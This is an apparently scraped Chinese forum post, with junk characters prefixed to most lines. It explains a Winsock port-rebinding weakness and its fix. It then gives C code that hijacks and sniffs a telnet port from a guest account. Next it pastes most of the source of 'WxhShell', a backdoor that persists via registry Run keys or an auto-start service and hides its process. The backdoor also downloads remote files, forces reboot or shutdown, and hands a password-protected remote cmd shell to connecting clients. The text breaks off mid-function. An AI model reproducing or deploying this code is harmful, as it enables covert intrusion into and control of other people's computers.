在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6Ybg^0m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
B}^w_C2 Hh+ 2mkg saddr.sin_family = AF_INET;
eM8}X[ <)1qt
9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
dAuJXGo 82l~G;.n3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Bve.C
HTG%t/S 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
~3<>
3p }_ 9Cxji 这意味着什么?意味着可以进行如下的攻击:
B_.%i+ZZ #\=F O> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
nr<4M0tIp &Xf}8^T<V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4<BjC[@~Z{ E>K!Vrh-L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
V:joFRH9 {;2PL^i 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
3W
N@J6? kGl~GOB
a 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.[_L=_. Hj}K{20 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5 sX+~Q vam;4vyu 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5 aCgjA11 ?`?)QE8 #include
094o'k #include
*WuID2cOI #include
%KLpig #include
#{;k{~;PF DWORD WINAPI ClientThread(LPVOID lpParam);
FYpzQ6s~ int main()
Abc)i7!.,. {
V-BiF>+ WORD wVersionRequested;
m^zUmrj[ DWORD ret;
fb~ytl< WSADATA wsaData;
HAa;hb BOOL val;
yU*8|FQbP SOCKADDR_IN saddr;
YuO.yh_ SOCKADDR_IN scaddr;
tS6qWtE
int err;
\2h!aRWR SOCKET s;
M!o##* *` SOCKET sc;
a^I\ /&aw' int caddsize;
VXwU?_4J. HANDLE mt;
#"G]ke1l$ DWORD tid;
,0!}7;j_c wVersionRequested = MAKEWORD( 2, 2 );
-Ps!LI{@ err = WSAStartup( wVersionRequested, &wsaData );
*_d7E if ( err != 0 ) {
X9V *UXTc printf("error!WSAStartup failed!\n");
;>Ib^ov return -1;
[MUpxOAsd }
koug[5T5 saddr.sin_family = AF_INET;
) AvN\sC glDu2a,Q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3ca (i/c %WjXg:R saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
1n;0?MIZ saddr.sin_port = htons(23);
MDn ua if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R[D{|K@" {
(,0(
printf("error!socket failed!\n");
GBPo8L"9 return -1;
FOE4>zE }
;@oN s- val = TRUE;
&OH={Au //SO_REUSEADDR选项就是可以实现端口重绑定的
Li4zTR|U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
W:pIPDx1=! {
pOIJH =# printf("error!setsockopt failed!\n");
s{*[]! return -1;
k5'Vy8q }
_9F9W{' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
o6.^*%kM' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
&i6),{QN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
u 7>],< ?67Y-\} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
yb\_zE\ {
n-tgX?1' ret=GetLastError();
k%WTJbuG<) printf("error!bind failed!\n");
~qTx|", return -1;
UM"- nZ>[ }
6a~|K-a6 listen(s,2);
+nFu|qM} while(1)
W{ q U {
!Wntd\w caddsize = sizeof(scaddr);
n{argI8wF //接受连接请求
m#|
9hMu sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Q+{xZ'o"Z if(sc!=INVALID_SOCKET)
A P?R"% {
&w_j/nW^' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
YJT&{jYi if(mt==NULL)
*0Skd {
vApIHI?- printf("Thread Creat Failed!\n");
G[uK -U break;
M P Y[X[ }
<L8'! q} }
TNe l/ CloseHandle(mt);
P@V0Mi), }
,is3&9 closesocket(s);
S%Uutj\/W WSACleanup();
&5B'nk" return 0;
2} /aFR }
a%JuC2 DWORD WINAPI ClientThread(LPVOID lpParam)
f<d`B]$( {
s<<ooycBrQ SOCKET ss = (SOCKET)lpParam;
];[}:f SOCKET sc;
"o-zy'I unsigned char buf[4096];
$r@zs'N SOCKADDR_IN saddr;
6]WAUK%h long num;
98IJu DWORD val;
-b9\=U[ DWORD ret;
R'as0 u\ //如果是隐藏端口应用的话,可以在此处加一些判断
Z&+ g;(g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6H.0vN& saddr.sin_family = AF_INET;
wDal5GJp saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}HYbS8 ' saddr.sin_port = htons(23);
2lH& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3Ei#q+7 {
BLQ 6A< printf("error!socket failed!\n");
{HltvO%8 return -1;
>*
f-Wde }
pP&7rRhw val = 100;
O:;w3u7;u if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LM<qT-/qs {
-P$PAg5"2 ret = GetLastError();
%rL.|q9
return -1;
NX*Q F+ }
O`IQ(,yef if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'T*&'RQr {
dVtG/0 ret = GetLastError();
pZ.ecZe/ return -1;
itt3.:y }
S6Q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
WUn]F~Lt {
vxBgGl printf("error!socket connect failed!\n");
C!<Ou6}!b closesocket(sc);
H(ARw'M closesocket(ss);
~D j8z+^ return -1;
_YhES-Ff }
l` lk-nb while(1)
{T$9?`h~M {
Cgk<pky1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y@S$^jk. //如果是嗅探内容的话,可以再此处进行内容分析和记录
U`(ee*}o //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
k_#ak%m/ num = recv(ss,buf,4096,0);
t%0VJB,Q2 if(num>0)
yW=::= send(sc,buf,num,0);
y&$A+peJ1 else if(num==0)
gV's=cQ break;
KxJ!,F{>H num = recv(sc,buf,4096,0);
~d.Y&b if(num>0)
DN>[\hg send(ss,buf,num,0);
{BN#h[#B{ else if(num==0)
G5BfNU break;
S6DKREO }
Ko<:Z)PS closesocket(ss);
w3ResQ closesocket(sc);
2~)`N>@ return 0 ;
`KoV_2| }
z#wkiCRYm T4Uev*A /l~p=PK ==========================================================
Cv.C;H lfow1WRF 下边附上一个代码,,WXhSHELL
E4jNA}3k+ vH@ds
k ==========================================================
Qz1E 2yJ pI\]6U #include "stdafx.h"
UcHJR"M~c R B #include <stdio.h>
|mfvr*7 #include <string.h>
-$ls(oot #include <windows.h>
4SxX3Fw #include <winsock2.h>
q"lSZ;
'E #include <winsvc.h>
-=Q*Ml#I #include <urlmon.h>
+5*95-;0 9s
q #pragma comment (lib, "Ws2_32.lib")
V~3a!-m\ #pragma comment (lib, "urlmon.lib")
s2V:cMXFn L,/%f<wd #define MAX_USER 100 // 最大客户端连接数
.W%)*&WH\ #define BUF_SOCK 200 // sock buffer
b{&)6M)zo #define KEY_BUFF 255 // 输入 buffer
Dcgo%F-W ?dg[:1R} #define REBOOT 0 // 重启
Se}c[|8 #define SHUTDOWN 1 // 关机
j3V
-LnA 194)QeoFw #define DEF_PORT 5000 // 监听端口
CY5Z{qiX ITI)soa~ #define REG_LEN 16 // 注册表键长度
A}9`S6 @@ #define SVC_LEN 80 // NT服务名长度
xJ]\+ 50 -uG+BraI // 从dll定义API
}o(-=lF typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
N:/D+L typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
kVMg 1I@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&U#|uc!+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
QZ j</: WRA`] // wxhshell配置信息
M5X&}cN6 struct WSCFG {
%ntRG! int ws_port; // 监听端口
/$?}YL, char ws_passstr[REG_LEN]; // 口令
Xl#ggub? int ws_autoins; // 安装标记, 1=yes 0=no
E{`fF8]K char ws_regname[REG_LEN]; // 注册表键名
G9cUD[GB char ws_svcname[REG_LEN]; // 服务名
IOmfF[ char ws_svcdisp[SVC_LEN]; // 服务显示名
]h+j)J}[A char ws_svcdesc[SVC_LEN]; // 服务描述信息
qR8Lh( "i char ws_passmsg[SVC_LEN]; // 密码输入提示信息
FcU SE int ws_downexe; // 下载执行标记, 1=yes 0=no
R__OP`! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
R&k<AZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
8OU\V5i[,q 7`'Tb p };
"<1{9 YjKxb 9 // default Wxhshell configuration
}&J q}j struct WSCFG wscfg={DEF_PORT,
:crW9+ "xuhuanlingzhe",
FvjPdN/L?R 1,
dR,fXQm "Wxhshell",
29.h91 "Wxhshell",
@RKryY) "WxhShell Service",
zRr*7G "Wrsky Windows CmdShell Service",
|)v,2 "Please Input Your Password: ",
aX'*pK/- 1,
_Y;W0Z "
http://www.wrsky.com/wxhshell.exe",
S2&4g/ "Wxhshell.exe"
+=</&Tm };
%7.30CA|# hRhe& ,v // 消息定义模块
tT_\ i6My char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{JMVV_}n char *msg_ws_prompt="\n\r? for help\n\r#>";
5U$0F$BBp char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]N?kG`[ char *msg_ws_ext="\n\rExit.";
^u ~Q/4 char *msg_ws_end="\n\rQuit.";
0aB;p7~& char *msg_ws_boot="\n\rReboot...";
igPX#$0XU char *msg_ws_poff="\n\rShutdown...";
W^l-Y%a/o char *msg_ws_down="\n\rSave to ";
oZ|\vA%4^ z<?)Rq" char *msg_ws_err="\n\rErr!";
)jP1or char *msg_ws_ok="\n\rOK!";
S.NPZ39}ZE 2c*GuF9(0 char ExeFile[MAX_PATH];
/h3RmUy int nUser = 0;
h S&R(m HANDLE handles[MAX_USER];
+cN8Y}V int OsIsNt;
X
l5 A
'h 1mG-} SERVICE_STATUS serviceStatus;
kt:!
7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
vl:KF7:#m EaN6^S= // 函数声明
ZUd-<y int Install(void);
r;N|) int Uninstall(void);
u'BaKWPS int DownloadFile(char *sURL, SOCKET wsh);
4|?;TE5 int Boot(int flag);
1=V-V< void HideProc(void);
h2d(?vOT int GetOsVer(void);
xwo<' xT int Wxhshell(SOCKET wsl);
MQ8J<A Pf- void TalkWithClient(void *cs);
@K-">f int CmdShell(SOCKET sock);
$xN|5;+ int StartFromService(void);
0 kW,I int StartWxhshell(LPSTR lpCmdLine);
]}Yl7/gM1} "4{r6[dn VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
g}c~ :p VOID WINAPI NTServiceHandler( DWORD fdwControl );
aPL+=5 8r KbeC"mi // 数据结构和表定义
Q*Pq{]0K SERVICE_TABLE_ENTRY DispatchTable[] =
H/M@t\$Dc {
cbTm'}R(G {wscfg.ws_svcname, NTServiceMain},
i9x+A/o[ {NULL, NULL}
/j.9$H'y };
;:NJCu G Q\Vgl(;lX // 自我安装
eJ-nKkg~a int Install(void)
E7hY8#G {
fz
"Y CHe char svExeFile[MAX_PATH];
SvF<p3 HKEY key;
= dN@Sa/ strcpy(svExeFile,ExeFile);
N;`n@9BF 8Zd]wYO // 如果是win9x系统,修改注册表设为自启动
=T7.~W if(!OsIsNt) {
Y.p;1" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
oEpFuWp%A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
VI*$em O0 RegCloseKey(key);
GZIa4A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}O
p;
g^W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
u>vL/nI RegCloseKey(key);
X^j fuA return 0;
Xsa]. }
3!_XEN[ }
3=oDQ&UFt }
sRb9`u=) else {
|2A:eI8 ^ dk^~;m#iN // 如果是NT以上系统,安装为系统服务
K{+2G&i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'LDQgC*% if (schSCManager!=0)
<N~K;n
v {
4 #Jg9o SC_HANDLE schService = CreateService
A@#E@;lm (
=7UsVn#o schSCManager,
^S; -fYW2 wscfg.ws_svcname,
2GG2jky{/ wscfg.ws_svcdisp,
TWX.D`W SERVICE_ALL_ACCESS,
B%68\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
I7]8Y=xf SERVICE_AUTO_START,
N?8!3&TiV SERVICE_ERROR_NORMAL,
f
_:A0 svExeFile,
Zv{'MIv&v NULL,
/PKN LK NULL,
~wdGd+ez NULL,
cU NULL,
+lTq^4 NULL
{{!-Gr );
Q+{n-? : if (schService!=0)
Nz-&MS {
);YDtGip J CloseServiceHandle(schService);
%BQ`MZ CloseServiceHandle(schSCManager);
Q,Eo mt strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|w3M7;~eF strcat(svExeFile,wscfg.ws_svcname);
gRzxLf`K if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
19#\+LWA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[V`r^ RegCloseKey(key);
&7s.` return 0;
4skD(au8 }
%a7$QF] }
e|r`/:M CloseServiceHandle(schSCManager);
~}Pfu }
B#R|*g:x }
EdX$(scu~B NHE18_v5 return 1;
!VzC&>'v^9 }
~$J2g ia?
c0xL // 自我卸载
B)UZ`?>c int Uninstall(void)
w32y3~ {
RM/ 0A| HKEY key;
fN2lLn9/u CvdN"k if(!OsIsNt) {
: rVnc =k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
cz$2R RegDeleteValue(key,wscfg.ws_regname);
/mZE/>&~, RegCloseKey(key);
Zwx%7l;C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!5N.B|Nt RegDeleteValue(key,wscfg.ws_regname);
!<h)w#>en RegCloseKey(key);
xyxy`qR A return 0;
@(lh%@hO }
l+b~KU7~l }
|vC~HJpuv' }
E" vS $ else {
2KZneS` 1 -b_~DF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
%l%HHT if (schSCManager!=0)
K)P%;X {
!@"OB~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
SS2%qv if (schService!=0)
3(UVg!t {
V VCZ9MVJ if(DeleteService(schService)!=0) {
uw8f ~:LT CloseServiceHandle(schService);
!`r$"}g CloseServiceHandle(schSCManager);
2A!FDr~cdT return 0;
]_$[8#kg }
p]"4#q\( CloseServiceHandle(schService);
(V@HR9?W) }
4&iCht
= CloseServiceHandle(schSCManager);
vKR[&K{Z| }
"wc<B4" }
tl>7^hH IVmo5,&5( return 1;
E(|>Ddv B& }
8cQ'dL`( yh=N@Z*zP // 从指定url下载文件
8b=_Y; int DownloadFile(char *sURL, SOCKET wsh)
5LMw?P.< {
K<J9~ HRESULT hr;
:zR!/5 char seps[]= "/";
T8NxJmYqB char *token;
T^q
0'#/ char *file;
Mb=" Te>| char myURL[MAX_PATH];
fXB0j;A char myFILE[MAX_PATH];
Qwc"[N4H ?h2}#wg strcpy(myURL,sURL);
8;X-)&R token=strtok(myURL,seps);
zBH2@d3W while(token!=NULL)
WEpoBP
CL {
V43H/hl file=token;
)`}:8y? token=strtok(NULL,seps);
y+;|Fz }
R}ecc !!y a GetCurrentDirectory(MAX_PATH,myFILE);
XfmwVjy strcat(myFILE, "\\");
nj4/#W strcat(myFILE, file);
i mM_H;-X send(wsh,myFILE,strlen(myFILE),0);
0CvUc>Pj`" send(wsh,"...",3,0);
-{A<.a3P}= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
u= yOu^={ if(hr==S_OK)
|cY`x(?yP return 0;
GKCroyor else
9!tW.pK5 return 1;
\j.:3Xr tg/H2p^Y }
FPTK`Gd0 h7@6T+#WoT // 系统电源模块
mVmGg, int Boot(int flag)
I2DpRMy {
!o-@&q HANDLE hToken;
YbLW/E\T TOKEN_PRIVILEGES tkp;
L=h'Qgk% .sA.C]f if(OsIsNt) {
<\FH fE OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
:H[6Lg\* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
z$Qbj tkp.PrivilegeCount = 1;
0(btA~'* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
SY8C4vb'h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
U<-D(J if(flag==REBOOT) {
CH/rp4NeSy if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^W@5TkkBQq return 0;
"h ^Z }
)CyS#j#= else {
F&Hrk|a if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
F<w/PMb return 0;
ZG@q`<:j }
IM+o.@f- }
LIdF 0 else {
Hr4}3.8 if(flag==REBOOT) {
Np)lIGE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
J.
@9zA& return 0;
IO> yIU[ }
GH
xp7H else {
DeYV$W
B if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
yppo6HGD return 0;
D3A/l }
u-C)v*#L }
i@CxI<1' iyog`s c return 1;
39jG8zr=Z[ }
-{+}@? l@:0e]8|o // win9x进程隐藏模块
V1JIht>Opo void HideProc(void)
.{KVMc {
Lh<).<S [1KuzCcK} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
b u"!jHPB if ( hKernel != NULL )
0|b>I!_"g {
&VcV$8k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1i] ^{;] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FCn_^l)EA FreeLibrary(hKernel);
Tb-F]lg$ }
-`t^7pr snikn& return;
i 3SHg\~Z }
2:= ,v&(Y Od // 获取操作系统版本
8JD,u int GetOsVer(void)
<Ok3FE.K {
o8vug$=Z OSVERSIONINFO winfo;
IqGdfL6[( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
A +)`ZTuO GetVersionEx(&winfo);
2Wb]4- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
F}qc0 return 1;
Hq 188< else
.GcKa024 return 0;
as_PoCoss }
C6yuX\ eR" <33{ // 客户端句柄模块
;({W#Wa int Wxhshell(SOCKET wsl)
NgCvVWto {
@ry_nKr9 SOCKET wsh;
z$xo$R( struct sockaddr_in client;
GM<-&s!Uj DWORD myID;
Wxe0IXq3Nn e 3TI|e_ while(nUser<MAX_USER)
&8 x-o, {
BVO<e \>3 int nSize=sizeof(client);
K96<M);:g wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(!N|Kl if(wsh==INVALID_SOCKET) return 1;
JO<wU "w.3Q96r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
WeiFmar if(handles[nUser]==0)
3%ZOKb"D* closesocket(wsh);
m%e68c else
t<viX's nUser++;
}Z,x~G }
IB7E}56l WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
# Vha7 Qz
N&>sk" return 0;
E\,-XH }
1y4 ^`>/.gL // 关闭 socket
$p?aVO void CloseIt(SOCKET wsh)
%|i`kYsy {
^ovR7+V closesocket(wsh);
Y.r+wc] nUser--;
`$C
n~dT ExitThread(0);
8pgEix/M5o }
'X2POay1 (*)hD(C5 // 客户端请求句柄
ox (%5c)b| void TalkWithClient(void *cs)
d;}nh2* {
{jX2} <3hRyG@vB SOCKET wsh=(SOCKET)cs;
igR";OQk char pwd[SVC_LEN];
%- 0t?/> char cmd[KEY_BUFF];
)%@J=&G8TT char chr[1];
/RC7"QzL int i,j;
>&5DsV.B ]wG{!0pl while (nUser < MAX_USER) {
NPe%F+X 4Wm@W E if(wscfg.ws_passstr) {
Tyf`j,= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>s?S+W[L //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'u b@]ru| //ZeroMemory(pwd,KEY_BUFF);
$'hEz/ i=0;
:A'y+MnK< while(i<SVC_LEN) {
=zKM=qba =$Nq // 设置超时
e;}7G fd_set FdRead;
q(2'\ _`u struct timeval TimeOut;
KNIn:K^/ FD_ZERO(&FdRead);
5, 6"&vU, FD_SET(wsh,&FdRead);
[ ~&/s:Vvo TimeOut.tv_sec=8;
ah+iZ}E% TimeOut.tv_usec=0;
wx0j(:B] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
X*@dj_, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
xx%j.zDI] r
# cGop] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_8_R 1s pwd
=chr[0]; 4u5-7[TZ
if(chr[0]==0xd || chr[0]==0xa) { ]F'e
aR
pwd=0; g~A`N=r;h
break; HqT#$}rv
} "mvt>X
i++; h|{]B,.Lh
} DG:Z=LuJr
[}0haTYc4
// 如果是非法用户,关闭 socket Q| ?L*Pq2I
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 76h ,]xi
} =mp;.k95
4
VW[E1<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #KexvP&*
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); orMwAV
aH/
k Ua
while(1) { FSW_<%
'op|B@y
ZeroMemory(cmd,KEY_BUFF); ;P%1j| 7
[;),\\u,d
// 自动支持客户端 telnet标准 ~<F8ug#
j=0; 9H`XeQ.
while(j<KEY_BUFF) { RO/FF<f
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GH:jH]u!V
cmd[j]=chr[0]; {go;C}
if(chr[0]==0xa || chr[0]==0xd) { Xg!{K3OS
cmd[j]=0;
MC.)2B7
break; nwRc%C``UK
} V7fq4O^:
j++; "N bq#w\
} #-i>;Rt
UIN<2F_
// 下载文件 }.m<
if(strstr(cmd,"http://")) { ;LSANr&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); UJ7*j%XQz_
if(DownloadFile(cmd,wsh)) %oa-WmWm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZyPVy
else .Una+Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3E $f)
} 8ek@: Mw
else { W^LY'ypT
( !fKNia@S
switch(cmd[0]) { :Cs4NF
BdblLUGK#
// 帮助 cZU=o\
case '?': { k(7&N0V%zz
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lKp"xcAD
break; .P%bkD6M
} `1{ZqRFQ
// 安装 F]]]y5t
case 'i': { /,&<6c-Q@W
if(Install()) =O_4|7Zl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `l){!rg8IC
else dkBIx$t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1.{z3_S21:
break; {|_M
#w~&
} *>'V1b4}
// 卸载 Yz"#^j}Kg
case 'r': { })8N5C+KU
if(Uninstall()) Wk4s reB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a PfO$b:
else suiS&$-E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A,hJIe
break; sF?TmBQ*
} udUyh%n
// 显示 wxhshell 所在路径 pVw}g@<M
case 'p': { )SRefW.v
char svExeFile[MAX_PATH]; @oY~..d`
strcpy(svExeFile,"\n\r"); L<-_1!wh
strcat(svExeFile,ExeFile); )<;Y-u.UW
send(wsh,svExeFile,strlen(svExeFile),0); Fk*7;OuZl
break; )E@.!Ut4o
} u4F5h PO]
// 重启 >#~& -3
case 'b': { >j(_[z|v3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cr?Q[8%t1
if(Boot(REBOOT)) BsqP?/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,nLy4T&"
else { q#ClnG*
closesocket(wsh); Ou!2[oe@M
ExitThread(0); b vr^zH,C
} xH(lm2kvT
break; Qu"\wE^.`
} NAQAU
*yP
// 关机 #Z`q+@@]A
case 'd': { w?k>:,'[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i6tf2oqO7
if(Boot(SHUTDOWN)) ith
3=`3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m}aB?+i
else { .4M.y:F
closesocket(wsh); $i}y 8nlQ
ExitThread(0); RJ ||} 5
} aS{n8P6vW
break; ;I 9&]
} 6YLj^w] %
// 获取shell <+Dn8
case 's': { 3<Zq ]jk?n
CmdShell(wsh);
bv9i*]
closesocket(wsh); gG:Vt}N
ExitThread(0); EQyC1j
break; ^HThN
} B^Nf #XN(
// 退出 p7VTa~\zA
case 'x': { ~u!|qM
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k)= X}=w
CloseIt(wsh); 6]_pIf
break; ]kG"ubHV?h
} zyc"]IzOU
// 离开 c~$)UND^
case 'q': { o]` *M|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @+M
/&
closesocket(wsh); KL:j?.0
WSACleanup(); X_ cV%#
exit(1); {M$1N5Eh
break; 3yY}04[9<
} q J=~Y|(
} /-ch`u md
} /vde2.|
w%VU/6~
// 提示信息 }~jlj
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1N^[.=
} \oXpi$
} +p_CN*10H
I^]2K0+x x
return; yw[g!W
} NP#w+Qw
/k6MzFoid
// shell模块句柄 *{@Nq=fE
int CmdShell(SOCKET sock) c9'vDTE%~
{ &)Tdc
STARTUPINFO si; OwUhdiG
ZeroMemory(&si,sizeof(si)); GT!M[*[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +L|?~p`V
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /y#f3r+*2
PROCESS_INFORMATION ProcessInfo; [f-?ymmT
char cmdline[]="cmd"; mpEK (p
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sh~dwxp*"
return 0; N/'b$m5=
S
} )!Z*.?
d>&,9c%
// 自身启动模式 kr5">"7
int StartFromService(void) VimE@ Hz
{ He/8=$c%
typedef struct qu6D 5t
{ 7qLpZ/
DWORD ExitStatus; '!cCMTj
DWORD PebBaseAddress; (KD RkE|=
DWORD AffinityMask; ks qQM
DWORD BasePriority; 6V:U(g
ULONG UniqueProcessId; HTcb_a
